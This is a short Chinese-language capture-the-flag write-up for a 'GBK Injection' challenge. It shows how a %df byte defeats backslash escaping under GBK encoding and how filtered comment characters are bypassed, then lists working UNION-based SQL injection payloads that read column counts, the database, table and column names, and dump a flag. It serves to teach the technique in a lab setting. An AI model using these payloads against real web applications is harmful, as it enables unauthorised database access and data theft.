GBK Injection
1.题目
2.首先我们进入题目地址,发现下图所示,首先猜测可能存在sql注入
3.于是我们尝试'
,但被转义了
4.被转义了,那咋办,此时,想到了URL中%df
与\
结合会变成運
,如下图
5.因此我们可以闭合id的值,使用#
,--空格
或--+
来注释最后一个’
- 这里对#进行了过滤,但我们可以使用%23进行绕过
- –空格也是标准的SQl注释语句,但这里对空格进行了过滤,但我们可以使用%20绕过
- –+不是标准的SQL注释语句,但是+在查询语句中变成了空格,从而最后整体也变成了注释符–空格
–+变–空格,实例图:
6.那我们接下来依次进行查询爆破
- 判断sql查询语句字段数量,可知sql查询语句有两个字段
%df' order by 2 %23
- 判断哪些字段可利用,可知sql查询语句第2字段可用
%df' and 1=2 union select 1,2 %23
- 判断当前数据库,这只当前数据库为sae-chinalover
%df' and 1=2 union select 1,database() %23
- 判断sae-chinalover数据库下所有的表名,分别为:ctf,ctf2,ctf3,ctf4,gbksqli,news
%df' and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x7361652D6368696E616C6F766572 %23
- 判断ctf4表中的字段(这里是依次判断才发现ctf4里有flag),为:id,flag
%df' and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x63746634 %23
- 判断id与flag字段的值,结果为:1 flag{this_is_sqli_flag}
%df' and 1=2 union select 1,group_concat(id,char(32),flag) from ctf4 %23
注:可能flag输入后还是错误,我认为可能后台管理出了一点问题,修改了flag值却没有更新
大家如果想了解sql(非盲注),请点击传送门